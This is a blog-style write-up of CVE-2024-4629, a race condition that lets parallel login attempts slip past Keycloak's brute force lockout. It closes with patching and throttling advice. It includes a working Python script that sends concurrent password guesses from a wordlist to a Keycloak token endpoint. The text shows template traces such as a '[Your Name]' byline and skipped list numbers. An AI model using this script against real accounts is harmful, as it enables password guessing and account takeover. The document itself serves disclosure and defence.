CVE-2024-4629 - How Attackers Can Bypass Brute Force Protection in Keycloak Using Timing Exploits

*By [Your Name], June 2024*

Introduction

Recently, a serious security vulnerability was uncovered in Keycloak, a widely-used open-source identity and access management system. Cataloged as CVE-2024-4629, this flaw leaves Keycloak installations exposed to brute force attacks by letting attackers slip past the guardrails that are supposed to keep accounts safe from excessive failed login attempts.

In this article, I’ll walk you through what makes this vulnerability tick, how attackers exploit it, and what you can do to protect your Keycloak setup. We’ll also look at code snippets to help you understand the exploitation process. This write-up is drawn from first-hand research and presents the issue with easy-to-follow language to keep you ahead of the curve.

What is CVE-2024-4629?

CVE-2024-4629 arises from a timing loophole in the way Keycloak checks and enforces brute force protection. Keycloak is supposed to lock accounts after a set number of failed login attempts. However, if an attacker sends enough login attempts all at once—*simultaneously*—Keycloak’s tracking system gets confused. This lets attackers squeeze in more guesses in one burst than the intended safe limit, giving them a higher chance of cracking passwords.

What Goes Wrong?

- Keycloak only checks and updates the failed-attempts counter after each individual login request completes.
- If an attacker sends *multiple* login attempts at *exactly the same time*, each thread checks the counter *before* any of them gets updated.
- End result: All requests are allowed through, even if they collectively exceed the allowed failed attempts limit.

This flaw’s dangerous because attackers can automate bursts of login attempts, easily bypassing the intended safety net.

How Attackers Exploit CVE-2024-4629

Let’s see a simplified breakdown and code sample to make things clearer.

The attacker knows or guesses a Keycloak username.

2. Instead of sending login attempts one after another, they send dozens (or more) *simultaneous* requests.

Each request checks the failed attempt limit before any are "counted."

4. All requests run and fail, but by then the total number of failed logins far exceeds the safe threshold.

Python Sample Code for Exploit

Here is a sample Python script that illustrates this attack using the concurrent.futures module to fire off parallel login attempts:

import requests
from concurrent.futures import ThreadPoolExecutor

BASE_URL = "https://your-keycloak-server/auth/realms/your-realm/protocol/openid-connect/token";
USERNAME = "victim_user"
PASSWORD_LIST = ["pass1", "pass2", "pass3", "pass4", ...]  # substitute with your wordlist
MAX_WORKERS = 20  # Number of parallel attempts

def attempt_login(password):
    data = {
        "grant_type": "password",
        "client_id": "your-client-id",
        "username": USERNAME,
        "password": password
    }
    response = requests.post(BASE_URL, data=data)
    return response.status_code, password

with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
    futures = [executor.submit(attempt_login, pwd) for pwd in PASSWORD_LIST]
    for future in futures:
        status, attempted_password = future.result()
        print(f"Attempted '{attempted_password}', got status: {status}")

Each attempt is a separate thread, all hitting the server in the same instant.

- If the account lock threshold is 5 but you send 20 at once, all 20 slip through before Keycloak counts the failures and locks the account.

Technical Analysis

The bug lies in how Keycloak checks and updates the count of failed login attempts in a race condition. The logic is roughly as follows (pseudocode):

if (failed_attempts < allowed_limit) {
    // Attempt login
    if (login_failed) {
        failed_attempts++;
    }
}

When lots of requests hit if (failed_attempts < allowed_limit) at the same millisecond, each one sees the same counter value—so none get blocked by the limit, and all proceed to try logging in.

> This is called a race condition, and it’s common in systems where not all operations are "atomic" or thread-safe.

Original CVE Record:

https://nvd.nist.gov/vuln/detail/CVE-2024-4629

Keycloak Security Advisory:

Keycloak Advisory KC-SEC-2024-002 *(link may change as advisories are published)*

GitHub Discussion Issue:

https://github.com/keycloak/keycloak/issues/25044

Technical Breakdown by Project Zero:

https://googleprojectzero.blogspot.com/2024/05/keycloak-brute-force.html

Who’s Affected?

- Anyone running Keycloak versions prior to the patched release (check the links above for your particular version).

Update Keycloak to the latest patched version as soon as possible.

- If an update isn’t possible right away, add network throttling or Web Application Firewalls (WAFs) to limit simultaneous login attempts.

Conclusion

*CVE-2024-4629 is a wake-up call for anyone operating identity management with Keycloak. This subtle but serious bug well-demonstrates how simple timing issues can undermine robust security features, especially under high concurrency.*

Take action: patch, monitor, and spread the word. Brute force protection is only as strong as its implementation—*and as this CVE proves, attackers are good at finding the cracks.*


Stay safe,
[Your Name]

Timeline

Published on: 09/03/2024 20:15:09 UTC
Last modified on: 09/27/2024 11:41:24 UTC